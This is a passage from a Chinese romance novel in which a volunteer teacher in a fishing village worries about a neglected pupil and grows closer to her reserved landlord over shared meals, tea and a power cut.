余力微张着嘴巴,显然是被她这一番不按常理出牌的话惊到了。
“我不会因为有人说我笑起来不好看就不笑,因为我就是我,我爱笑,不会为了别人的一句话就改变自己。”牧听语用一只手指抵住下巴,眼睛弯弯的问,“所以可不可以告诉我,为什么你明明喜欢吃糖,却还是装作不爱吃的样子呢?”
“!”余力到底还是年纪小,脸上藏不住事,“你,你怎么知道......”
牧听语狡黠一眨眼:“不告诉你。”
“你......”
“因为糖纸被打开过了哦。”牧听语举起那颗糖,“是不舍得吃吗?我兜里还有很多不同味道的,可以再让你挑一颗。”
“才不是不舍得吃。”余力不屑地撇了撇嘴,“大男人吃什么糖,丢人。”
牧听语“扑哧”笑了:“你几岁了呀?”
余力听出她语气里的揶揄,微微涨红了脸:“我今年十岁了!”
牧听语摇了摇头,认真道:“阿力,不管你几岁,爱吃糖都不丢人。”
“你胡说,我爸妈就经常骂我,说我丢人!”
牧听语缓缓敛了笑意。
一旁的庄任叹了口气,伸手摸了摸余力的脑袋,解释道:“这孩子整家人都是渔民,忙起来的时候几乎没空管他。你知道的,乡下粗人哪懂得怎么教孩子,给口饭吃养大能干活就行,让他自己上土灶做饭都是常事。这么小的年纪,已经开始让他下地干活了,他哪里拿得动锄头,他爸妈还经常对他又打又骂的。”
牧听语蹙起眉,盯着余力紧绷的面庞,半晌轻声问:“阿力,我可不可以去你家里看看?”
庄任一惊:“牧老师......”
余力面容稚嫩,语气里却有着超越同龄人的成熟:“你在可怜我?”
“不,”牧听语神情认真,“我在关心你。”
余力垂下眼,把手背到了身后,用脚尖把旁边的小石子踢远了些,结巴道:“再、再说吧,没什么能招待你的。”
牧听语微微笑着,坚持道:“什么招待都不用,我只想和你爸妈聊聊天。”
.
刑泽瞥了一眼自从坐到饭桌上就没开口说过话的牧听语。
“不好吃?”
牧听语抬头“啊”了一声,把嘴里的东西咽下去开口:“好吃啊。”
说完她又想起今天的主线任务还没有完成,当下就是把碗筷一放,瞬间变身成莫得感情的夸奖机器:“真的很好吃,感觉比昨天更加好吃了,你的厨艺真的好好。”
刑泽:“......”
他问:“上课不顺利?”
“唔,”牧听语意外地看了他一眼,“倒,倒也没有。”
刑泽不再问,沉默着夹了一筷子菜。
牧听语挠了挠脸颊,有点拿不定主意。
他们也就刚认识几天,倒苦水的事情是不是少做为妙?
毕竟刑泽是个边界感很强的人。
可是看着刑泽垂着眼睛的样子,不知怎么的,她的倾诉欲就咕噜咕噜冒了上来。
真是奇怪,他哪来的亲和力。
牧听语心里不断琢磨,最终把原因归结为他做饭好吃上。
好吧,实话说,其实他人也还不错。
刑泽抬起眼,刚好与牧听语偷偷摸摸的视线对个正着。
牧听语下意识开了口:“唔,就是有个孩子的事情,我有些苦恼......”
开了闸就收不回去了,她把上午的事情跟刑泽说了一遍。
刑泽听完,没有停顿地开口:“别去余力家里。”
牧听语疑惑:“为什么?”
刑泽沉默了一下:“他家里人,不太好相处。”
牧听语歪了歪脑袋:“我大概知道一些。”
毕竟让一个十岁孩子做饭干活,还经常对他又打又骂,说他丢人的,能是什么善茬。
刑泽盯着牧听语明亮又不谙世事的眼睛,“你了解他们吗?”
“唔?”
“不单单是他家,几乎是所有村民都差不多。他们不愿意和外人沟通,只听自己想听到的,只做自己想做的。”刑泽语气淡然,带着不容置疑的力道,“所以,最好别去。”
牧听语忽然想起小苹对她说的。
——“刑泽算是村里人吧”。
其实她第一眼看到刑泽的时候,就知道他并不是土生土长的村里人。
原因无他,他的气质和“村里人”这三个字实在相差甚远。
相处下来却发现,他的行为举止很接地气。
听小苹说这幢小楼都是他自己建的,屋内的家
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具陈设也很简朴,日常的生活算不上精致,甚至可以说有点糙,抛开这张脸不谈,他的生活和普通的村民没什么区别。
牧听语“咔擦咔擦”嚼着一根芦笋,目不转睛地盯着刑泽看。
好吧,其实脸也抛不开。
牧听语承认,他有一张让人无法忽视的脸。
明明五官长得桀骜不驯,可偏偏被他身上那股沉稳气质给压了下去,显得没那么张扬有冲击力,反而从内里透出一股成熟感来。
她心里萌生出一点好奇。
这样一个人,为什么会选择在这里长住呢?
刑泽的小屋似乎建在较为偏僻的位置,她这几天在路上骑车都没碰到过其他村民,也确实不了解刑泽口中的“村民”是什么样的。
她对偏远地区的印象还停留在高中课堂学习乡村振兴概念时,老师在班上放的纪录片。
她只记得那些黝黑又满是皱纹的皮肤、龟裂的手指以及充满风霜的背影,这是她从未接触过的人间疾苦。
所以在她灵感枯竭的时候,看到了网上的支教报名,没怎么犹豫就填了信息。
第一天来的路上她也看见过一些破旧的矮房,看着荒无人烟的田野时她也想象过村民是什么样子的。
可她看到了公交车上帮她拎行李的质朴大哥,看到了热情洋溢的小苹,看到了心怀教育的庄任,她觉得村民不该是像刑泽说的那样。
“我就去看一眼。”牧听语摩挲了一下筷子柄,“我想知道余力父母是怎么想的,我不明白为什么要说自己的孩子丢人,他们对于阿力来说可是最亲近的人。”
刑泽眸色黑沉:“那是因为你的家庭很幸福,你的父母一直都会尊重你。但在这里,贬低式教育是常态,没有谁家孩子是没被骂过打过的。”
牧听语沉默下来,半晌“唔”了一声。
“你要是能做好被赶出来的准备,那你就去。”
牧听语抬起头,张了张嘴:“我没想和他们吵架。就是,想让他爸妈关心一下他,阿力现在的认知是不正确的,这样下去他会越来越压抑自己,迟早会出问题。”
刑泽夹了一筷子菜,淡声说:“他们听不进去的。”
牧听语埋下头继续吃饭,看起来有些闷闷不乐。
过了一会儿,刑泽的声音响起:“你要去的话,我带你去。”
“唔?”牧听语抬起头,“真的吗,要是连你也一起被赶出来怎么办?”
刑泽瞥了她一眼:“不会,我帮他们家搭过鸡舍。”
牧听语:“可是我没帮他们家搭过鸡舍。”
刑泽:“所以我让你做好准备。”
牧听语觉得这对话很有意思,没忍住笑了起来。
刑泽目光略有些奇怪地看向她。
“没什么,”牧听语解释道,“我只是感觉你身上的活人感越来越重了。”
刑泽皱起眉:“什么是活人感?”
牧听语闻言瞅了瞅他,问:“你几岁?”
“二十八。”
唔,比自己大三岁。牧听语叼着筷子思索。也不是老古董的年纪啊,怎么一点也不时髦呢,还要她帮忙名词解释。
她说:“活人感就是很有趣的意思。”
刑泽没觉得自己刚刚的话哪里有趣,他瞥了眼牧听语笑意盈盈的样子,把本来想说的话咽了下去。
8. 擦手
牧听语和孩子们的关系逐渐好了起来。
她每天都挑一篇儿童故事读给孩子们听,然后尝试着教他们认字。
有了有趣的故事情节加持,他们总算是提起兴趣愿意听课了,但注意力还是做不到长时间集中。
有这样的效果,牧听语已经很满意了,连庄任都表示很惊讶。
这种边玩边学的方法,还是牧听语自己亲身实践出来的。
她其实一直怀疑自己有多动症,读书时期几乎没有安分的时候,人还在椅子上,思绪已经绕地球一圈了。
年纪小的时候坐不住,天天跑上跑下,旧轮胎堆砌的小坡都能成为她探险的基地。
大一点了没法离开教室,就天天上课溜号,盯着窗外的小鸟,幻想跟着它一起飞回某个隐蔽的巢窝中投喂嗷嗷待哺的小崽。
要不就想象老师手中的粉笔头长出翅膀,以俯冲的姿势朝自己飞来,然后发现粉笔真的砸到了自己脑门上,一抬头就对上了老师含带怒意的眼睛。
幸好她脑子还挺灵光,凭借着小聪明也是顺利熬过了小学初中的课程,当她觉得自己简直是天才的时候,来到了高中。
特别是到了高三,那叫一个苦不堪言,天天面对雪花漫天似的试卷,小聪明也不够用了,只好天天带上几颗水果糖哄自己上课,写完一张试卷就奖励自己吃一颗。
后面学会了把考试想象成宝藏的大门,把上课想象成闯关,把老师想象成嗷嗷喷火的恶龙,这样窗外的风景就吸引不到她的视线,凭借着熟练的骗自己技术,熬过了一整个高三。
牧听语目送着叽叽喳喳的孩子们一个个从教室离开,笑着叮嘱:“别忘记老师交给你们的作业呀,下星期要带一张自己画的画来哦!”
庄任照例擦着黑板,状似不经意地问她:“牧老师,你周末有什么安排吗?”
“嗯?”牧听语回头,“有的!明天小苹姐喊我去她家里吃饭,然后去镇上转一圈。”
庄任眼里有一丝落寞闪过:“好。”
牧听语帮忙把教室里的桌椅摆好,哼着歌离开了。
.
牧听语把自行车停到墙边,抱起在自己脚边乱蹭的小狗,犹豫了一下,探头冲屋里喊了一声:“我回来啦!”
不一会儿,刑泽的身影出现在厨房门口:“洗手吃饭吧。”
牧听语的手无意识地摸了好几下小狗脑袋,毛茸茸的,手感很好,她应了一声:“来了。”
她往屋内走,还没到厨房,一股香味伴随着轻微的油烟味钻进了鼻子。
刑泽背对着她站在灶台边,伸手搅拌着砂锅里的东西。
牧听语吸了吸鼻子:“今天吃什么呀?”
“海鲜粥。”
粥鲜香可口,里面放了胡萝卜碎和芹菜碎,处理过的虾和扇贝丁有滋有味,鲜味完全没有流失。
牧听语食指大动,唔唔叼着虾,好吃得说不出话。
她风卷残云地吃完一碗,意犹未尽地舔了舔嘴唇,伸手去够一旁砂锅里的铁勺,想要再添一碗。
“烫。”刑泽拦下她的手,接过碗帮她添粥。
烫吗?牧听语回想刚刚碰到的勺柄,好像不烫。
几天相处下来两人已经逐渐熟悉,牧听语也不和他客气,嘿嘿一笑:“谢谢啦。”
刑泽把盛满的碗放在她面前。
他个子高人又壮,站起身来压迫感十足。
牧听语仰起头笑眯眯道:“好吧,我承认你的煮粥的水平也比我好。我本来还想着给你展示一下我五花八门的食谱,现在还是不自取其辱了。”
刑泽坐下,没忍住轻轻动了下嘴角。
“——你笑了!”牧听语好像发现了什么新大陆,一脸惊讶地看着他。
刑泽神色淡然:“你看错了。”
“你肯定笑了!我看到你的嘴角上升了一个像素点!”
刑泽:“......”
这是什么奇怪的形容?
牧听语刚想给这个2g网老人做词语解释,一抬眼却愣住了。
——他这次真的在笑。
虽然笑容很浅,只有嘴角一个微小的弧度,可由于五官极为立体,面容被笑意一牵动,突然就变得极富冲击感。
让牧听语瞬间回想起了那天看到他在海上冲浪的画面。
她一下子屏住呼吸。
妈,妈呀。
原来平时不笑的人一旦笑起来,杀伤力这么大的吗......
她差点没把持住表情,吭哧了一下,连忙夹了一口凉拌木耳压压惊。
再抬起头的时候,刑泽已经恢复了平常面无表情的样子,好像刚刚的一切画面是她的幻觉。
哎,自己见过的帅哥没有一千也有八百了,人体模特都见过不少,怎么还是这么没有定力。
她在心里默默唾弃自己,咬着筷子抬头说:“我明天中午不在家吃饭哦。”
“去哪?”
“去小苹姐家里,她邀请我去她家吃饭呢。”
刑泽说了声“行”,又问:“晚饭呢?”
“晚饭回来呀。”牧听语叼着虾,含含糊糊道。
这只虾有点大,不能整个塞进嘴里,她一嘴的剥虾技术都无从施展,只好用手。
她一直秉持着吃虾能动嘴就绝不动手的原则,用手剥会弄得油腻腻黏糊糊的,还要不停去洗手,特别麻烦。
剥到一半,虾的汁水果然顺着手掌边缘一路快速流到手腕。
她蹙起眉,准备放下筷子去扯餐巾纸。
刑泽突然伸手,在她前面扯过纸,探过来擦了擦几乎要流到她小臂上的汤汁。
牧听语浑身一僵。
眼睁睁地看着他动作自然地捉住她的手腕,顺着小臂一路擦到了手上,仔仔细细抹干净。
末了开口道:“别滴衣服上。”
“......”
牧听语下意识地把最后一点负隅顽抗的虾壳剥了下来,把虾塞进嘴里。
嚼了几下后,丢下一句“我去洗下手”,然后飞速起身。
她走到水槽边,打开水龙头,然后在哗哗流水声中掩饰般把头埋了下去。
不是,耳朵怎么变烫了?
她一边在心里死命锤自己,一边悄悄用手扇风。
好不容易等热意消下去一点,她关了水龙头,擦了擦手,若无其事地坐回饭桌前,若无其事地低头喝了一口粥,若无其事地听到刑泽问:“你怎么这么瘦?”
“......”
她抬头,看到刑泽皱着眉问她:“手腕都没有乒乓球大,你爸妈平时饿着你了?”
牧听语用勺子戳了戳粥:“......哪有这么夸张,我可以自己养活自己!”
刑泽想起她朋友圈发的“要是让我爸妈知道我半夜两点还在吃垃圾食品我就完蛋啦”,心想她和父母关系应该挺好的,不至于不给她吃饭。
牧听语说:“可能是我喜欢到处跑吧,大学的时候也会去做兼
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职什么的,所以一直不胖。”
到处跑这个他知道,但做兼职?
“为什么去做兼职?”
“总不能坐吃山空吧?”牧听语笑道,“而且兼职很有意思啊,可以遇到很多朋友。”
听到“坐吃山空”几个字,刑泽眉头蹙起:“你爸妈不给你钱?”
牧听语顿了一下:“...总不能一直用爸妈的钱吧。”
刑泽用一种不太赞同的目光注视她。
“你呢?”她好奇问道,“大学的时候没有兼职过吗?”
刑泽语气淡淡:“没有。”
牧听语:“唔。”
也对,以他的性格,去兼职应该会被投诉的吧?
他这个人,碰到难缠的客人肯定不会惯着,到头来要不就是被开除要不就是扣工资。
不过说不定有看脸的小姐姐愿意照顾他生意?这么想的话,他应该去男仆咖啡店打工呀,带上猫耳朵猫尾巴什么的,然后冷着一张脸说:“你好,很不高兴为你服务。”
她思维跑出去十万八千里远,暗自乐了半天,突然想起自己正事没问,连忙清了清嗓子开口:“那个,你后天有空吗?”
刑泽瞥她:“怎么了?”
牧听语声音有些轻快:“我之前跟你说过呀,我想去镇上一趟,你有空吗?”
也不知道刑泽平常都在忙些什么,好像不怎么待在家里。
“有。”
她欢乐地晃了晃腿:“那我们骑自行车去吗?”
“嗯。”
她比了一个“ok”的手势,快速地将碗里的最后几口粥挖完。
刑泽见她吃完了,站起身自然地把她的碗筷揽过去和自己的叠成一叠,放进砂锅里,端到水槽边开始洗碗。
牧听语第n次举手申请洗碗失败,逐渐习以为常。
她吃得有点饱,站起身在厨房里转悠了两圈,觉得好像这里什么都不缺。
那买点什么呢......
她到处敲敲打打了一番,最后歪着脑袋研究着电饭煲,正想着要不要给他换一个新的,刑泽的声音突然响起:“上楼了。”
牧听语应了一声转过头,见刑泽站在她身后,看了一眼电饭煲,又把视线移回到她脸上,语气有点奇怪:“你对电饭煲很感兴趣?”
牧听语:“......没有我就随便看看。”
她趁着刑泽还要关灯,率先一步跑到门口,把不愿进笼的小狗拎了起来,与它对视着,问它:“小雨,你想不想要一个新玩具?”
小狗:“汪呜。”
“你说想要?好的没问题,等姐姐给你买哈!”
刑泽走过来关门,顺口问:“买什么?”
牧听语笑眯眯地指了指小狗:“它说想要一个玩具。”
小狗:“呜?”
刑泽侧目看去,一人一狗在昏黄的门前小灯下,牧听语笑眼弯弯,整个人显得很柔和无害,和她怀里无辜的小狗如出一辙,眼睛都是亮晶晶的。
刑泽手一动,“铛”一声上了锁。
“咦,”牧听语见他转身就走,问道,“不用插钥匙了吗?”
刑泽:“......不用。”
牧听语也没在意,脚步轻盈地上了二楼。
她按照惯例仰起头,对着楼梯上的刑泽说:“晚安啦!”
刑泽看着她脚步不停地进屋关上了门,半晌喉咙动了动,声音几乎微不可察。
“...晚安。”
9. 热茶
“我回来啦!”牧听语停下自行车,朝屋里喊道。
声音在屋内转悠了一圈又消散了,无人回应。
咦,刑泽不在家吗。
牧听语跟小狗玩了一会儿,噔噔上楼。
她刚想径直进房间,余光却看到二楼中央放的茶几旁边与平时有些不一样。
——多了一个人。
刑泽平躺在木板地面上,一条腿支起,手搭在茶几上,上面的茶杯里还有残茶。
咦,睡着了吗?
牧听语放轻脚步慢慢靠过去,看见他闭着眼睛,胸膛平缓地起伏着。
真的睡着了哎。
睡得这么熟吗?那么大的动静都没吵醒他。
牧听语不自觉笑了起来,轻手轻脚地走到他旁边蹲下。
这里应该就是他平常休息的地方,茶具看上去都是常用的,旁边还有个投影仪,正对着一面白墙,估计可以投点电影什么的。
只不过她住在二楼,所以他一直没有下来过。
牧听语托着下巴观察他的睡颜。
即使是熟睡的情况下,他依旧是一派严肃的模样,看起来非常不好惹。
她一边伸出手,一边轻声嘀咕:“梦到不好的事情啦?皱着眉头干嘛。”
可手指还没触碰到他,刑泽突然睁开了眼睛。
他的眼睛里还带着迷蒙的雾气,一把捉住了牧听语的手腕,声音有些低哑:“嗯?”
牧听语被吓了一跳,下意识用另一只手推了一下刑泽的小臂。
这一下使了点力气,发出了“啪”一声的清脆响声。
刑泽眼神清醒了一些,微微挑起眉。
牧听语讪讪地收回手,低声解释道:“你突然抓我手,吓到我了。”
刑泽松开她的手腕坐了起来,敛着眉眼没说话。
不像是生气的样子,但浑身萦绕着一股生人勿近的气息。
牧听语迷惑不解地蹲在原地观察半晌,得出了一个结论。
——他好像有起床气。
唔。
牧听语猝不及防被这个反差萌了一下。
刑泽缓了一会儿抬起头,声音还有些哑:“这么早回来?”
牧听语笑起来,“不早啦,已经快四点了。”
“小苹没留你吃晚饭?”
“留了呀,她家人都好热情的。”牧听语晃了晃脑袋,蹲在地上用手环住双腿,像一棵小树苗,“她妈妈还给我塞了一袋子小青菜,我放在厨房啦,晚上可以吃。”
刑泽看了她一眼:“你没答应?”
“唔?”牧听语反应了一会儿才明白他在问什么,“我要回家吃晚饭呀,不是跟你说过了吗?”
她瞅了瞅刑泽:“忘性这么大?”
不知道是不是她说的哪个字取悦到了刑泽,他本来拢着的眉眼舒展开来,“嗯”了一声,拿起茶几上的杯子将里面的残茶一饮而尽。
“哎,冷了还喝!”牧听语没拦住。
怎么感觉他还没完全醒呢。
“你还喝吗,”她问,“我给你泡一壶热的?”
刑泽提起茶壶往杯子里倒:“不用。”
牧听语呆了一下,连忙拦他:“你给我放下!”
她一把夺过他手里马上就要递到嘴边的茶杯,用手一指他:“喝冷茶会胃疼的!”
刑泽的手停在半空,虚握了一下又放下,盯着牧听语立马开始忙碌着清洗茶渣又烧水的身影,半晌轻笑一声。
牧听语敏锐地抬头:“你笑了?”
刑泽:“没有。”
牧听语狐疑地看了他一眼,又低下头。
刑泽往身后墙壁上一靠,抱起双臂看牧听语忙碌。
过了一会儿,他开口:“挺熟练。”
牧听语头也不抬:“我以前在茶室兼职过,泡茶当然熟练啦。”
刑泽皱了皱眉:“给谁泡茶?”
“来店里的客人们呐,不然嘞?”
牧听语今天穿了一条快到膝盖的短裤,露出来的皮肤雪白,双膝搭在木板地面上,随着不断动作挤压,边缘已经微微泛红。她仍无所察觉,专心致志地擦着茶具。
刑泽突然探过身,径自拿过她手里的茶壶:“我来,你坐下。”
牧听语抓了个空,疑惑地看着刑泽一如往常的神色,手往后伸摸过一个草席坐下:“干嘛?嫌我泡的技术不好?”
刑泽没理她。
他在茶壶里放上茶叶,拎过一旁烧好的水倒下,一股热气伴随着茶香扑面而来。
“好香。”牧听语环着腿感叹道。
刑泽抵着盖子把第一泡茶倒掉,在重新添水时分心看去。
牧听语下巴搭在膝盖上,微微歪着脑袋,眼睛亮晶晶的,刚好和他的视线对上。
刑泽慢慢垂下眼,把水壶放下,不动声色拿过帕子,擦了擦茶壶周围溅出的水。
牧听语捧着泡好的热茶喝了一口,对茶发表了一百字的溢美之词之后,开始讲起她今天在小苹家的所见所闻。
“我早上刚到小苹姐家里的时候,她正往田里撒肥呢,我就帮她一起撒,她田里种的是玉米哎,等成熟了之后我可以问她讨一根啃啃。对了,你会不会烧玉米排骨汤啊?我跟你说,这个汤我可拿手了,下回我要喝你烧的,我看看能不能比我的好喝。”
刑泽“嗯”了一声:“午饭吃什么了?”
牧听语想了想:“烧茄子、土豆丝、生腌螃蟹,不过这个我真的不敢吃,看着怪吓人的。还有那个有点透明的面,小苹姐说叫绿豆面,里面还有那个带鱼干,就是你之前放在年糕里的!”
“好吃么?”
“肯定没有你烧的好吃啦!”牧听语笑眯眯的,嘴巴很甜。
刑泽端起茶杯喝了口茶,问:“下午呢?”
“下午帮小苹姐喂了鸡、鸭还有鹅!她家动物真的好多,而且都肥肥的,说是养起来拿到镇上卖的。哦对了她家还有牛呢!我看它一只牛待着好无聊,就牵它到田里溜了一圈,结果差点踩到人家种的水稻,给我吓的。”牧听语的语气听起来很欢乐,骄傲地补充道,“牛牛今天吃的草料也是我铡的!嘿嘿。”
刑泽听着听着,眉头拧了起来:“你今天一直在干活?”
“唔?”牧听语挠了挠脸颊,“也、也没有吧,还挺好玩的其实。”
刑泽看着她洁白小腿上的几道泥印,语气有点不好:“中午吃饱了吗?”
牧听语看了他一眼:“吃饱了。”
刑泽沉默地盯着她。
“好、好吧。”牧听语语气有些弱,“没有很饱。”
她极为熟练地先发制人:“那是因为你做的饭实在太好吃了!所以一般的饭都入不了我的胃!”
她的语气带着讨好的意味,眉眼弯弯,像一块融化了的熔岩巧克力,看上去甜滋滋的。
但刑泽显然没有被甜到,拧着眉头问:“今晚想
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吃什么?”
牧听语托着下巴一脸讶异:“哎?我可以点菜?”
她神情夸张,满脸写着“我竟然还有资格点餐”几个大字。
刑泽脸有些黑了:“我是不是太惯着你了?”
牧听语一点也不怕他,嘿嘿笑道:“我想吃炒小青菜!”
刑泽盯她半晌,低低嗤笑了一声:“......也不知道点个好的。”
真是好养活。
.
饭饱过后,牧听语满足地摸了摸鼓起的小肚子,意犹未尽地舔了舔嘴唇。
哎,嘴巴就是这样变刁的,支教结束之后该怎么办呐。
她苦恼地叹了口气。
看来只能时不时回来蹭一顿饭了,到时候一定要付饭费,她就不信刑泽不招待自己。
要是一直能吃到他做的饭就好了......
牧听语瞅了瞅自己的小钱包,觉得自己的资产可能还不够聘请刑泽当厨师的。
况且他也不像缺钱的样子。
她又叹了口气。
只能回去之后闭关画画多赚点钱先了。
她心里想着,那边手机就震了一下。
一瞅,是蒋初发来的消息。
【A.漫野画室:告诉你个好消息,客户同意你推迟交付时间了。】
她眼睛一亮,哒哒打字回复。
【不听:客户人可真好啊!推迟了多久啊?】
【A.漫野画室:你这个支教什么时候能结束?】
【不听:两个月!】
【A.漫野画室:那就等你回来再画。】
【不听:哎?】
牧听语咬了咬手指,戳了个[小猫害怕.]的表情包出去。
【不听:初宝这种客户是真是可以存在的吗......他不会是骗子吧.....】
【A.漫野画室:人家是你的铁杆粉丝,说都等了这么久了不介意再多等几个月。】
【不听:!我要落泪了。】
蒋初冷漠无情地表示她的眼泪不值钱。
【A.漫野画室:你要是下回再不声不响溜走,你就等着我追杀你吧!】
【不听:嘿嘿。】
【A.漫野画室:嘿嘿?我已经把你下半年的档期都接满了,回来你就给我待在画室哪都不许去!】
牧听语“啪”一下挡住手机、摁掉屏幕一气呵成,把那条可怕的消息留在了对话框里。
她等刑泽洗完碗,关了门一起上楼。
到二楼的楼梯口,刑泽脚步自然地变缓。
牧听语果然开口:“明天我们几点出发呀?”
刑泽站在三楼的第一个台阶上,虚倚在扶手边:“随你。”
牧听语想了下:“早上吃完饭?九点?”
“行。”
牧听语得到肯定答复,笑着“好”了一声,抬脚往房间走去。
走了几步,她突然感觉身后有一道沉沉的、不容忽视的目光投了过来。
她停下脚步转过身,见刑泽还是站在原本的位置没动,一言不发地盯着她。
“咦,怎么了吗?”
刑泽沉默了两秒,说:“没事。”
他抬脚往楼上走去,没一会儿就传来了关门的声音。
牧听语站在原地满脸疑惑。
她刚刚是不是看到刑泽好像要说什么的样子,怎么突然又不说了?
男人真奇怪。
10. 停电
牧听语今天确实有些累,撒肥喂食都不是什么轻松的活,身上还溅了泥点子没洗。
她进了卫生间,打开花洒等水变烫。
水气氤氲间,她目光扫过厕所里面的陈设。
虽然第一次和刑泽见面的时候,他表现出的态度很明显在嫌她麻烦,应该是小苹给了什么好处所以才勉强接受她住在这里。
但日常生活该有的东西一点没少,新毛巾、新拖鞋、沐浴露、洗发露、肥皂......
她之前以为这些东西都是小苹准备的,没想到今天提起的时候,小苹笑着对她说:“都是刑泽一手操办的,他当时还问我你是不是年纪不大的姑娘,估计是在想要准备什么。”
小苹还问她:“牧老师,你和刑泽相处得怎么样?”
她回答:“挺好的。”
“是吧,”小苹笑道,“他人不错的,就是脸色挺臭,感觉别人欠了他两百万一样。”
但牧听语觉得他挺好相处的。
除了第一次见面的时候,他警告她不许上三楼那一回,之后再也没见他凶过。
不过他话确实少,现在熟悉了有时会多说几句,但大部分时候是不怎么主动讲话的。
一般都是她在一旁叽叽喳喳,他听着。
而且他身上从内而外透露出的体贴和涵养,是怎么都掩盖不了的。
比如只要她在二楼,他就不会主动踏到二楼的范围内,更不会靠近二楼的房间一步。
比如那天她问衣服在哪里晒,当天晚上他就支了一个小型的晾衣架让她放房间里,并塞给她无数个塑料衣架,估计是觉得女孩子衣服很多。
后来才知道他的衣服都是晒在后院的,只是为了避免尴尬才和她分开晒。
牧听语盯着洗漱台上那个小兔样式的粉色漱口杯,吃吃笑了起来。
她相信,如果来的人不是她,是任何一个人,他都会这样体贴对待的。
她脱下衣服站在花洒下,微烫的水流冲刷过身体,疲劳几乎被一扫而光,酸疼的肌肉也得到缓解。
她舒了一口气,往身上仔仔细细抹了一遍沐浴露。
正准备冲掉的时候,头顶的灯突然一闪烁,连着闪了几下后,终于不堪重负地“咔”了一声,灭掉了。
卫生间内瞬间变得一片漆黑。
牧听语举着花洒,迷茫地眨了眨眼。
哎?
停、停电了?
她不知道是电路出故障了还是怎么回事,摸索着去拿手机。
在冰冷的台子上摸了半天,才想起来手机被自己放在房间充电了,没带进厕所。
狭小的空间内黑灯瞎火的,她虽然不怕黑,但还是一时间没有适应这突如其来的黑暗,有些手忙脚乱。
她怕热水器里储存的热水不多了,于是快速冲着身上的泡沫,差不多了就关上水准备把花洒卡回扣上。
突然,外面传来一阵略显急促的下楼声,紧接着刑泽的声音响起:“——牧听语?”
她手一抖,“啪”的一声,花洒掉在了地上。
隔着一扇门,刑泽的声音有些模糊不清地传来:“——你在洗澡?没事吧?”
牧听语知道他停在楼梯口跟自己喊话,于是大声回道:“没事——!”
他的声音紧接着传来,语速有些快:“刚刚是什么声音?你摔倒了?”
“没有——!花洒掉了!”
外面静默了一下,又响起声音,这回音量小了点:“可能是跳闸了,我下楼去看看,你洗完回房间,太黑了别到处跑。”
牧听语应道:“好——”
她在地上摸索了一下,捡起了花洒。
厕所内没有窗户,是真正的伸手不见五指,想要做什么事都得摸着来。
她伸长手臂去够架子上的毛巾,突然“嘶”了一声,猛地把手缩了回来。
好烫好烫!
她下意识把手指放到嘴边呼呼。
好像是碰到热水器的热水管了,上面还有点漏水。
呜呜,那可是七八十度的热水,不知道烫伤了没有。
牧听语心疼地搓着自己的手指头。
真是一波未平一波又起,此时此刻她深深感受到了盲人生活的不易。
好不容易忍着痛摸到了毛巾,她随便擦了擦就胡乱套上衣服打开门。
水雾争先恐后地从狭窄的空间里挤了出去,二楼有一扇窗户,月光透过玻璃洒落下来,给屋内蒙下一层微亮的薄纱。
牧听语松了口气,小心翼翼地避开中间空地的陈设,慢慢挪回了房间。
直到碰到手机打开手电筒的那一刻,才算活了过来。
没有光还真是不行呐。
她举着手机走出房间,从楼梯口探头往楼下看了看。
怎么没动静?
她瞬间把刑泽叮嘱的“别到处跑”抛到了脑后,穿着拖鞋啪嗒啪嗒下了楼梯。
还没下到最底下,刑泽的声音就响了起来:“不是让你待在房间里?”
牧听语扒着扶手探出身子一看,刑泽站在楼梯下面空出的区域,头也不回地在捣鼓电表。
她晃了晃手机,光束也随之一闪:“怎么回事呀?很难修吗?”
“保险丝烧断了。”
牧听语对电工一窍不通,“唔”了一声,走到了他旁边,仰起脑袋看他捣鼓。
刑泽收回手:“我去拿工具箱。”
牧听语自告奋勇地举手:“我帮你拿我帮你拿!放在哪呀?”
“三楼。”
“喔,”牧听语缩了回去,“那你自己去吧。”
刑泽眉一挑看向她。
“干嘛,”她眼神无辜,“不是你不让我上三楼吗?”
刑泽听着她类似抱怨的语气,心觉好笑:“这么记仇?”
牧听语抱起双臂,翘起鼻子:“没错,我非常记仇!”
刑泽本来也没想让她去拿,转身往楼梯口走去。
提着工具箱再次下楼的时候,牧听语蹲在小狗的笼子前正和它说话,见他来了,顿时站起身走过来。
她软和的声音伴随着一股突如其来的清香一齐钻入了他的五感:“拿来啦?”
刑泽微微屏住呼吸,“嗯”了一声。
他提着工具箱来到电表下面,熟练地带上绝缘手套,拿起螺丝刀、长嘴钳和一个小手电筒。
牧听语积极地举起手机:“你是不是不方便拿呀,我帮你照明!”
刑泽看着她努力伸着手臂的样子,低沉的声音里带了点笑意:“老实待着吧。”
牧听语见他把小手电筒摁亮咬在嘴里,开始动手卸下电表的外壳,悻悻地缩回手,小声嘟囔:“电表弄这么高干嘛......”
楼梯底下空间有限,两人站得很近,牧听语双手背在身后,神
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情好奇地盯着刑泽的动作。
过了一会儿,刑泽开口:“...你站远一点。”
牧听语闻言,听话地退了一步:“影响你发挥啦?”
少女的呼吸随着距离的拉远变得稍微轻了一些,可还是有不甚明显的气流不断落在他背上,带着他所熟悉的、木质调的香气。
那是沐浴露的味道。
村里不管是买东西还是收快递都不方便,日常用品他都是一大箱一大箱地囤,所以给牧听语准备的也都是他从仓库里顺手拿的。
这个沐浴露的味道他闻了好几年,从没觉得像今天这样......
存在感强烈过。
他拿着长嘴钳的手紧了紧,故作平常地回了一句:“动作大了会碰到你。”
牧听语没多想,又往后退了一步,有些无聊地打了个哈欠。
刑泽说:“困了就去睡。”
“不困。”牧听语为自己的作息正名,“我是发饭晕了。这个点睡觉也太早了吧,我还没老呢。”
屋内一片漆黑,只有这个角落内亮着蒙蒙的光。除了刑泽修东西时发出的零零散散的声音,就只剩下两人的呼吸声。
牧听语这才发觉刑泽换了一件黑色的坎肩短袖,露出了平常看不到的结实的大臂肌肉,随着扬手的动作线条明显流畅,一看就是常年坚持在练。
她缩在后面眼也不眨,狠狠大饱眼福了一番,甚至想凭空变出纸和笔画一张速写,把这堪称优越的身材记录下来。
其实她早就想这么干了。
当年为了苦练人体,不管是石膏像还是裸男她都看了不少,像现在这种衣服都还没剥就让她忍不住想动笔的身材还真没几个。
不知道刑泽会不会同意当她的模特。
这脸、这身材,不画真是浪费了。
牧听语这边还在浮想翩翩,刑泽动作利落地装上电表壳,往上一推总闸。
厨房内突然传来“嘀——”一声。
刑泽走到门边一按开关,灯照常亮了起来。
牧听语亦步亦趋地跟在他身后,及时送上不要钱的称赞:“这就修好啦?真厉害!”
刑泽转过身,眼神突然一滞。
